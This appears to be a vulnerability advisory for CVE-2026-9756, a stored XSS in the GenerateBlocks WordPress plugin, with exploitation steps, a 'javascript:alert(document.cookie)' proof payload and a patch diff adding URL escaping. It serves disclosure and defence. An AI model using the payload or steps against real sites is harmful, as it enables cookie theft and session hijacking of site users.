Published : July 3, 2026

CVE-2026-9756: GenerateBlocks <= 2.2.1 Authenticated (Contributor+) Stored Cross-Site Scripting via Headline Block 'linkMetaFieldType' Dynamic Link Attribute PoC, Patch Analysis & Rule

CVE ID CVE-2026-9756
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.2.1
Patched Version 2.3.0
Disclosed July 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-9756:

This is a Stored Cross-Site Scripting (XSS) vulnerability in the GenerateBlocks WordPress plugin, affecting versions up to and including 2.2.1. The flaw resides in the Headline Block’s dynamic link handling, specifically the ‘linkMetaFieldType’ attribute, where user-supplied metadata values can be injected as href attributes without proper escaping. A contributor-level attacker can craft a headline link that executes JavaScript when clicked by any user, including administrators. The CVSS score is 6.4, indicating medium-high severity.

Root Cause: The vulnerability stems from insufficient output escaping in the dynamic link rendering pipeline. In generateblocks/includes/blocks/class-headline.php at line 810, the $dynamic_link variable is used in a sprintf() call to build an anchor tag: sprintf(‘%s‘, $dynamic_link, $dynamic_content). The pre-patch code passes $dynamic_link directly without esc_url(). Additionally, in generateblocks/includes/class-dynamic-content.php at line 902, the generateblocks_dynamic_url_output filter returns the URL without calling esc_url_raw(), while line 781 for image IDs also lacks escaping for non-numeric IDs. The linkMetaFieldType attribute allows an attacker to select a user metadata field that contains a ‘javascript:’ URI. WordPress’s get_safe_user_meta_keys() allowlist includes certain profile fields (e.g., description), which a contributor can populate with JavaScript payloads.

Exploitation: An attacker with contributor-level access creates or edits a page containing a GenerateBlocks Headline block. In the block settings, they set the dynamic link source to ‘meta_field’ and the ‘linkMetaFieldType’ to a metadata key like ‘description’. The attacker first stores a malicious payload in their own user profile description field, e.g., ‘javascript:alert(document.cookie)’. When the Headline block renders on the front-end, the plugin reads the metadata and constructs an element without escaping. Any user clicking this link executes the JavaScript in their browser context.

Patch Analysis: The patch adds esc_url() around $dynamic_link in class-headline.php line 810, changing sprintf(‘‘, $dynamic_link, …) to sprintf(‘‘, esc_url($dynamic_link), …). In class-dynamic-content.php, the patch wraps the return value of generateblocks_dynamic_url_output filter with esc_url_raw() at line 902, and wraps static image URLs with esc_url_raw() at line 781. Esc_url() strips ‘javascript:’ and other unsafe URI schemes, ensuring only HTTP/HTTPS/mailto etc. are allowed. Additional hardening in the patch includes input type validation in class-dynamic-content.php and class-query-utils.php to prevent non-array or non-scalar data from being processed unsafely.

Impact: Successful exploitation allows an authenticated contributor-level attacker to execute arbitrary JavaScript in the context of any user who clicks the malicious headline link. This can lead to session hijacking, cookie theft, redirection to phishing sites, defacement of pages, or administrative actions performed on behalf of an administrator victim. The stored nature of the XSS means the payload persists across page loads and can affect all visitors, including site administrators and editors.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/generateblocks/dist/block-styles-imported.asset.php
+++ b/generateblocks/dist/block-styles-imported.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-primitives'), 'version' => '32c13c2d41956f0a2114');
+<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-primitives'), 'version' => '5a299c4ea3f583492a88');
--- a/generateblocks/dist/block-styles.asset.php
+++ b/generateblocks/dist/block-styles.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '1aa48bee1f28155add8f');
+<?php return array('dependencies' => array(), 'version' => '1ced1364f58063651ff9');
--- a/generateblocks/dist/blocks.asset.php
+++ b/generateblocks/dist/blocks.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-rich-text', 'generateblocks-components', 'generateblocks-styles-builder'), 'version' => 'db357e3dd61e960d01a6');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-rich-text', 'generateblocks-components', 'generateblocks-styles-builder'), 'version' => '53fc4c8a5af028e0edf2');
--- a/generateblocks/dist/blocks/element/index.asset.php
+++ b/generateblocks/dist/blocks/element/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-rich-text', 'generateblocks-block-styles', 'generateblocks-components', 'generateblocks-styles-builder'), 'version' => '51196552e65528dac0ca');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-rich-text', 'generateblocks-block-styles', 'generateblocks-components', 'generateblocks-styles-builder'), 'version' => 'e17bcd02cda783524c7d');
--- a/generateblocks/dist/blocks/loop-item/index.asset.php
+++ b/generateblocks/dist/blocks/loop-item/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-rich-text', 'generateblocks-block-styles', 'generateblocks-components', 'generateblocks-styles-builder'), 'version' => 'a1d1a4d3d9c9786a033d');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-rich-text', 'generateblocks-block-styles', 'generateblocks-components', 'generateblocks-styles-builder'), 'version' => '50e20994be30d4409efa');
--- a/generateblocks/dist/blocks/looper/index.asset.php
+++ b/generateblocks/dist/blocks/looper/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-rich-text', 'generateblocks-block-styles', 'generateblocks-components', 'generateblocks-styles-builder'), 'version' => '53cca35b75b35225ca01');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-rich-text', 'generateblocks-block-styles', 'generateblocks-components', 'generateblocks-styles-builder'), 'version' => '054ebf604f788fbd1704');
--- a/generateblocks/dist/blocks/media/index.asset.php
+++ b/generateblocks/dist/blocks/media/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-rich-text', 'wp-url', 'generateblocks-block-styles', 'generateblocks-components', 'generateblocks-styles-builder'), 'version' => '6daba08e7a12042835b5');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-rich-text', 'wp-url', 'generateblocks-block-styles', 'generateblocks-components', 'generateblocks-styles-builder'), 'version' => '7206190c31b045d4da59');
--- a/generateblocks/dist/blocks/query-page-numbers/index.asset.php
+++ b/generateblocks/dist/blocks/query-page-numbers/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-rich-text', 'generateblocks-block-styles', 'generateblocks-components', 'generateblocks-styles-builder'), 'version' => 'caf070ab3b6985dc3212');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-rich-text', 'generateblocks-block-styles', 'generateblocks-components', 'generateblocks-styles-builder'), 'version' => '3090edd2b9d282595772');
--- a/generateblocks/dist/blocks/query/index.asset.php
+++ b/generateblocks/dist/blocks/query/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-rich-text', 'generateblocks-block-styles', 'generateblocks-components', 'generateblocks-styles-builder'), 'version' => '7ed2e3c07e89bbf8d708');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-rich-text', 'generateblocks-block-styles', 'generateblocks-components', 'generateblocks-styles-builder'), 'version' => 'd3897e4bf18e4e0a62cc');
--- a/generateblocks/dist/blocks/shape/index.asset.php
+++ b/generateblocks/dist/blocks/shape/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-rich-text', 'generateblocks-block-styles', 'generateblocks-components', 'generateblocks-styles-builder'), 'version' => '67389ff85748fcd4f5d6');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-rich-text', 'generateblocks-block-styles', 'generateblocks-components', 'generateblocks-styles-builder'), 'version' => '7ba05ff505bc57b103bd');
--- a/generateblocks/dist/blocks/text/index.asset.php
+++ b/generateblocks/dist/blocks/text/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-rich-text', 'generateblocks-block-styles', 'generateblocks-components', 'generateblocks-styles-builder'), 'version' => '1f5c4b464951d73a6cc5');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-rich-text', 'generateblocks-block-styles', 'generateblocks-components', 'generateblocks-styles-builder'), 'version' => '60f42021ac9354581e61');
--- a/generateblocks/dist/components-imported.asset.php
+++ b/generateblocks/dist/components-imported.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives'), 'version' => '8ef3584c930296a96056');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives'), 'version' => '06abed89c01bf4487af6');
--- a/generateblocks/dist/components.asset.php
+++ b/generateblocks/dist/components.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'c9b4558761b6a0600feb');
+<?php return array('dependencies' => array(), 'version' => '14f487719f36042daa77');
--- a/generateblocks/dist/editor-sidebar.asset.php
+++ b/generateblocks/dist/editor-sidebar.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-components', 'wp-data', 'wp-edit-post', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-plugins', 'wp-primitives'), 'version' => '521af1dc95b114499b98');
+<?php return array('dependencies' => array('react', 'wp-components', 'wp-data', 'wp-edit-post', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-plugins', 'wp-primitives'), 'version' => '3579a361e27555dc8314');
--- a/generateblocks/dist/editor.asset.php
+++ b/generateblocks/dist/editor.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom-ready', 'wp-hooks', 'wp-i18n', 'generateblocks-styles-builder'), 'version' => '8e257f8c535e78ea1951');
+<?php return array('dependencies' => array('lodash', 'react', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom-ready', 'wp-hooks', 'wp-i18n', 'generateblocks-styles-builder'), 'version' => '6a3842a230b2512408b1');
--- a/generateblocks/dist/looper.asset.php
+++ b/generateblocks/dist/looper.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'a2764d77dadb926974fa');
+<?php return array('dependencies' => array(), 'version' => '8bb4e340fa77dd8e826b');
--- a/generateblocks/dist/packages.asset.php
+++ b/generateblocks/dist/packages.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'ff6cec35c1a43d6d3156');
+<?php return array('dependencies' => array(), 'version' => 'd4575a13713a6dbb8ca9');
--- a/generateblocks/dist/pattern-library.asset.php
+++ b/generateblocks/dist/pattern-library.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-primitives', 'wp-url', 'generateblocks-components'), 'version' => '583a8fa7b688af7ea068');
+<?php return array('dependencies' => array('lodash', 'react', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-primitives', 'wp-url', 'generateblocks-components'), 'version' => '614f6f2ee69a9a023161');
--- a/generateblocks/dist/settings.asset.php
+++ b/generateblocks/dist/settings.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-api-fetch', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '705a0eafa900419b51d0');
+<?php return array('dependencies' => array('react', 'wp-api-fetch', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '4cf302fbe8d7a64b7413');
--- a/generateblocks/dist/styles-builder-imported.asset.php
+++ b/generateblocks/dist/styles-builder-imported.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('generateblocks-components', 'lodash', 'react', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom', 'wp-edit-post', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-primitives'), 'version' => 'ef96c3175dcdba3e03ba');
+<?php return array('dependencies' => array('generateblocks-components', 'lodash', 'react', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom', 'wp-edit-post', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-primitives'), 'version' => 'c372420b43785c738617');
--- a/generateblocks/dist/styles-builder.asset.php
+++ b/generateblocks/dist/styles-builder.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '45641983462deb0532dd');
+<?php return array('dependencies' => array(), 'version' => '41f06e2ee1eeb62d21b1');
--- a/generateblocks/includes/blocks/class-headline.php
+++ b/generateblocks/includes/blocks/class-headline.php
@@ -807,7 +807,7 @@
 		if ( $dynamic_link ) {
 			$dynamic_content = sprintf(
 				'<a href="%s">%s</a>',
-				$dynamic_link,
+				esc_url( $dynamic_link ),
 				$dynamic_content
 			);
 		}
--- a/generateblocks/includes/class-dynamic-content.php
+++ b/generateblocks/includes/class-dynamic-content.php
@@ -773,7 +773,7 @@

 				if ( $image_id && ! is_numeric( $image_id ) ) {
 					// Our image ID isn't a number - must be a static URL.
-					return $image_id;
+					return is_string( $image_id ) ? esc_url_raw( $image_id ) : '';
 				}
 			} else {
 				$image_id = ! empty( $attributes['mediaId'] ) ? $attributes['mediaId'] : false;
@@ -889,12 +889,14 @@
 			}
 		}

-		return apply_filters(
+		$url = apply_filters(
 			'generateblocks_dynamic_url_output',
 			$url,
 			$attributes,
 			$block
 		);
+
+		return is_string( $url ) ? esc_url_raw( $url ) : '';
 	}

 	/**
--- a/generateblocks/includes/class-query-utils.php
+++ b/generateblocks/includes/class-query-utils.php
@@ -67,30 +67,45 @@
 	public function get_user_query( WP_REST_Request $request ) {
 		$args = $request->get_param( 'args' ) ?? [];

+		if ( ! is_array( $args ) ) {
+			$args = [];
+		}
+
+		$args['number'] = min( max( 1, absint( $args['number'] ?? 150 ) ), 150 );
+		$args['paged']  = max( 1, (int) ( $args['paged'] ?? 1 ) );
+		$args['fields'] = 'all';
+
+		$can_list_users     = current_user_can( 'list_users' );
+		$can_manage_options = current_user_can( 'manage_options' );
+
 		// Sanitize dangerous query args for users without list_users capability.
-		if ( ! current_user_can( 'list_users' ) ) {
+		if ( ! $can_list_users ) {
 			unset( $args['meta_query'] );
 			unset( $args['meta_key'] );
 			unset( $args['meta_value'] );
 			unset( $args['meta_compare'] );
-		}
+			unset( $args['role'] );
+			unset( $args['role__in'] );
+			unset( $args['role__not_in'] );
+			unset( $args['capability'] );
+			unset( $args['capability__in'] );
+			unset( $args['capability__not_in'] );

-		if ( ! isset( $args['number'] ) ) {
-			$args['number'] = 150;
+			$args['has_published_posts'] = true;
 		}

 		$number    = $args['number'];
 		$query     = new WP_User_Query( $args );
-		$max_pages = round( $query->get_total() / $number );
+		$max_pages = (int) ceil( $query->get_total() / $number );

 		// Filter sensitive data from user objects while maintaining structure.
 		$users = array_map(
-			function( $user ) {
+			function( $user ) use ( $can_manage_options, $can_list_users ) {
 				// Always remove critical security fields.
 				unset( $user->data->user_pass );
 				unset( $user->data->user_activation_key );

-				if ( ! current_user_can( 'manage_options' ) ) {
+				if ( ! $can_manage_options ) {
 					// Remove sensitive values for non-admin users.
 					unset( $user->data->user_login );
 					unset( $user->data->user_email );
@@ -100,6 +115,11 @@
 					unset( $user->allcaps );
 				}

+				if ( ! $can_list_users ) {
+					unset( $user->roles );
+					unset( $user->cap_key );
+				}
+
 				return $user;
 			},
 			$query->get_results()
@@ -123,7 +143,9 @@
 	 */
 	public function get_wp_query( $request ) {
 		$args           = $request->get_param( 'args' );
+		$args           = is_array( $args ) ? $args : [];
 		$page           = $args['paged'] ?? $request->get_param( 'page' ) ?? 1;
+		$page           = is_scalar( $page ) ? (int) $page : 1;
 		$attributes     = $request->get_param( 'attributes' ) ?? [];
 		$current_post   = $request->get_param( 'postId' ) ?? null;
 		$current_author = $request->get_param( 'authorId' ) ?? null;
@@ -208,7 +230,7 @@
 			$args['paged'] = $page;
 		}

-		if ( isset( $args['tax_query'] ) ) {
+		if ( isset( $args['tax_query'] ) && is_array( $args['tax_query'] ) ) {
 			if ( count( $args['tax_query'] ) > 1 ) {
 				$args['tax_query']['relation'] = 'AND';
 			}
--- a/generateblocks/includes/dynamic-tags/class-dynamic-tags.php
+++ b/generateblocks/includes/dynamic-tags/class-dynamic-tags.php
@@ -502,7 +502,12 @@
 		$content      = $request->get_param( 'content' );
 		$context      = $request->get_param( 'context' );
 		$client_id    = $request->get_param( 'clientId' );
-		$post_id      = absint( $context['postId'] ?? 0 );
+		$post_id      = absint( is_array( $context ) ? ( $context['postId'] ?? 0 ) : 0 );
+
+		// Bail if the content isn't a string we can scan for dynamic tags.
+		if ( ! is_string( $content ) ) {
+			return rest_ensure_response( [] );
+		}

 		// Verify the current user can read the context post.
 		if ( $post_id && ! current_user_can( 'read_post', $post_id ) ) {
--- a/generateblocks/includes/functions.php
+++ b/generateblocks/includes/functions.php
@@ -651,6 +651,20 @@
 }

 /**
+ * Determine whether an HTML attribute name holds a URL value.
+ *
+ * @since 2.3.0
+ *
+ * @param string $name The attribute name.
+ * @return bool True when the attribute should be treated as a URL.
+ */
+function generateblocks_is_url_attribute( $name ) {
+	$url_attributes = array( 'href', 'src', 'action' );
+
+	return in_array( strtolower( (string) $name ), $url_attributes, true );
+}
+
+/**
  * Build list of attributes into a string and apply contextual filter on string.
  *
  * The contextual filter is of the form `generateblocks_attr_{context}_output`.
@@ -678,7 +692,13 @@
 		if ( true === $value ) {
 			$output .= esc_html( $key ) . ' ';
 		} else {
-			$output .= sprintf( '%s="%s" ', esc_html( $key ), esc_attr( $value ) );
+			$is_url_attribute = generateblocks_is_url_attribute( $key );
+
+			$escaped_value = $is_url_attribute
+				? esc_url( do_shortcode( $value ) )
+				: esc_attr( $value );
+
+			$output .= sprintf( '%s="%s" ', esc_html( $key ), $escaped_value );
 		}
 	}

@@ -1263,7 +1283,7 @@
 		// Add inline <style> elements if we don't have access to wp_head.
 		$content = sprintf(
 			'<style>%s</style>',
-			$css
+			wp_strip_all_tags( $css )
 		) . $content;
 	} else {
 		// Add our CSS to the pool of existing CSS in wp_head.
@@ -1327,7 +1347,7 @@
 			if ( $compiled_css ) {
 				$content = sprintf(
 					'<style>%s</style>',
-					$compiled_css
+					wp_strip_all_tags( $compiled_css )
 				) . $content;
 			}
 		} else {
@@ -2085,15 +2105,10 @@
 function generateblocks_get_backup_html_attributes( $block_slug, $attributes ) {
 	$classes = generateblocks_get_block_classes( $block_slug, $attributes );

-	$html_attributes = generateblocks_with_html_attributes(
-		[
-			'id'    => $attributes['anchor'] ?? null,
-			'class' => implode( ' ', $classes ),
-		],
-		$attributes
-	);
-
-	return $html_attributes;
+	return [
+		'id'    => $attributes['anchor'] ?? null,
+		'class' => implode( ' ', $classes ),
+	];
 }

 /**
@@ -2128,8 +2143,7 @@
  * @param string $value The raw attribute value.
  */
 function generateblocks_get_escaped_html_attribute( $name, $value ) {
-	$url_fields   = [ 'src', 'href' ];
-	$is_url_field = in_array( $name, $url_fields, true );
+	$is_url_field = generateblocks_is_url_attribute( $name );

 	if ( $is_url_field && ! empty( $value ) ) {
 		$value = do_shortcode( $value ); // esc_url() escapes shortcodes, so we need to do this first.
--- a/generateblocks/includes/general.php
+++ b/generateblocks/includes/general.php
@@ -222,48 +222,30 @@
 		$packages_asset_info['version']
 	);

-	// Enqueue scripts for all edge22 packages in the plugin.
-	$package_json = GENERATEBLOCKS_DIR . 'package.json';
-
-	if ( file_exists( $package_json ) ) {
-		$package_json_parsed = json_decode(
-			file_get_contents( $package_json ), // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents
+	$edge22_packages = [
+		'block-styles',
+		'components',
+		'styles-builder',
+	];
+
+	foreach ( $edge22_packages as $name ) {
+		$package_asset_info = generateblocks_get_enqueue_assets( "{$name}-imported" );
+		$script_asset_info = generateblocks_get_enqueue_assets( $name );
+
+		wp_register_script(
+			"generateblocks-$name",
+			GENERATEBLOCKS_DIR_URL . 'dist/' . $name . '.js',
+			$package_asset_info['dependencies'],
+			$script_asset_info['version'],
 			true
 		);

-		$edge22_packages = array_filter(
-			$package_json_parsed['dependencies'],
-			function( $package_name ) {
-				return 0 === strpos( $package_name, '@edge22/' );
-			},
-			ARRAY_FILTER_USE_KEY
+		wp_register_style(
+			"generateblocks-$name",
+			false,
+			[ 'generateblocks-packages' ],
+			$packages_asset_info['version']
 		);
-
-		foreach ( $edge22_packages as $name => $version ) {
-			$name = str_replace( '@edge22/', '', $name );
-			$path = GENERATEBLOCKS_DIR . "dist/{$name}-imported.asset.php";
-
-			if ( ! file_exists( $path ) ) {
-				continue;
-			}
-
-			$package_info = require $path;
-
-			wp_register_script(
-				"generateblocks-$name",
-				GENERATEBLOCKS_DIR_URL . 'dist/' . $name . '.js',
-				$package_info['dependencies'],
-				$version,
-				true
-			);
-
-			wp_register_style(
-				"generateblocks-$name",
-				GENERATEBLOCKS_DIR_URL . 'dist/' . $name . '.css',
-				[],
-				$version
-			);
-		}
 	}

 	$editor_assets = generateblocks_get_enqueue_assets( 'editor' );
@@ -292,6 +274,16 @@
 		'generateBlocksEditor',
 		[
 			'useV1Blocks'        => generateblocks_use_v1_blocks(),
+			/**
+			 * Filters whether WordPress 7.0's core "Additional CSS" textarea is
+			 * shown on GenerateBlocks blocks. We disable it by default because our
+			 * blocks have their own CSS editing; return true to re-enable it.
+			 *
+			 * @since 2.3.0
+			 *
+			 * @param bool $enabled Whether to allow the core Additional CSS field.
+			 */
+			'enableCoreAdditionalCss' => (bool) apply_filters( 'generateblocks_enable_core_additional_css', false ),
 			'dynamicTags'        => $tag_list,
 			'hasGPFontLibrary'   => function_exists( 'generatepress_is_module_active' )
 				? generatepress_is_module_active( 'generate_package_font_library', 'GENERATE_FONT_LIBRARY' )
--- a/generateblocks/includes/pattern-library/class-libraries.php
+++ b/generateblocks/includes/pattern-library/class-libraries.php
@@ -91,13 +91,23 @@
 		// Get saved library data.
 		$saved_libraries = get_option( 'generateblocks_pattern_libraries', [] );

+		if ( ! is_array( $saved_libraries ) ) {
+			$saved_libraries = [];
+		}
+
 		// Create library instances for any remote sites that provide the complete set of data.
 		$remote_libraries = array_map(
 			[ $this, 'create' ],
 			array_filter(
 				$saved_libraries,
 				function( $saved_library ) {
-					return isset( $saved_library['isLocal'] ) && ! $saved_library['isLocal'];
+					return is_array( $saved_library ) &&
+						isset( $saved_library['isLocal'] ) &&
+						! rest_sanitize_boolean( $saved_library['isLocal'] ) &&
+						! empty( $saved_library['id'] ) &&
+						is_scalar( $saved_library['id'] ) &&
+						! empty( $saved_library['domain'] ) &&
+						is_string( $saved_library['domain'] );
 				}
 			)
 		);
@@ -108,6 +118,17 @@
 			$remote_libraries
 		);

+		if ( ! is_array( $libraries ) ) {
+			$libraries = [];
+		}
+
+		$libraries = array_filter(
+			$libraries,
+			function( $library ) {
+				return $this->is_valid_library( $library );
+			}
+		);
+
 		// Add our default library at the start of the list.
 		if ( ! self::exists( $libraries, $this->default_library_id ) ) {
 			$default_library = self::get_default();
@@ -117,8 +138,12 @@
 		// Loop our libraries and set their status based on their saved value.
 		foreach ( $libraries as $key => $library ) {
 			$saved_data = array_filter(
-				get_option( 'generateblocks_pattern_libraries', [] ),
+				$saved_libraries,
 				function( $saved_library ) use ( $library ) {
+					if ( ! is_array( $saved_library ) || ! isset( $saved_library['id'] ) ) {
+						return false;
+					}
+
 					return $saved_library['id'] === $library->id;
 				}
 			);
@@ -126,7 +151,7 @@
 			$saved_data = array_values( $saved_data );

 			if ( isset( $saved_data[0]['isEnabled'] ) ) {
-				$library->setStatus( $saved_data[0]['isEnabled'] );
+				$library->setStatus( $this->normalize_boolean_value( $saved_data[0]['isEnabled'] ) );
 			}
 		}

@@ -173,14 +198,87 @@
 	 * @return GenerateBlocks_Library_DTO
 	 */
 	public function create( array $data ): GenerateBlocks_Library_DTO {
+		$data = wp_parse_args(
+			$data,
+			array(
+				'id' => '',
+				'name' => '',
+				'domain' => '',
+				'publicKey' => '',
+				'isEnabled' => false,
+				'isDefault' => false,
+				'isLocal' => false,
+			)
+		);
+
 		return ( new GenerateBlocks_Library_DTO() )
-			->set( 'id', $data['id'] )
-			->set( 'name', $data['name'] )
-			->set( 'domain', $data['domain'] )
-			->set( 'public_key', $data['publicKey'] )
-			->set( 'is_enabled', $data['isEnabled'] )
-			->set( 'is_default', $data['isDefault'] )
-			->set( 'is_local', $data['isLocal'] );
+			->set( 'id', $this->normalize_string_value( $data['id'] ) )
+			->set( 'name', $this->normalize_string_value( $data['name'] ) )
+			->set( 'domain', $this->normalize_string_value( $data['domain'] ) )
+			->set( 'public_key', $this->normalize_string_value( $data['publicKey'] ) )
+			->set( 'is_enabled', $this->normalize_boolean_value( $data['isEnabled'] ) )
+			->set( 'is_default', $this->normalize_boolean_value( $data['isDefault'] ) )
+			->set( 'is_local', $this->normalize_boolean_value( $data['isLocal'] ) );
+	}
+
+	/**
+	 * Normalize values that are expected to be strings.
+	 *
+	 * @param mixed $value The value to normalize.
+	 * @return string
+	 */
+	private function normalize_string_value( $value ): string {
+		if ( ! is_scalar( $value ) ) {
+			return '';
+		}
+
+		return (string) $value;
+	}
+
+	/**
+	 * Normalize values that are expected to be booleans.
+	 *
+	 * @param mixed $value The value to normalize.
+	 * @return bool
+	 */
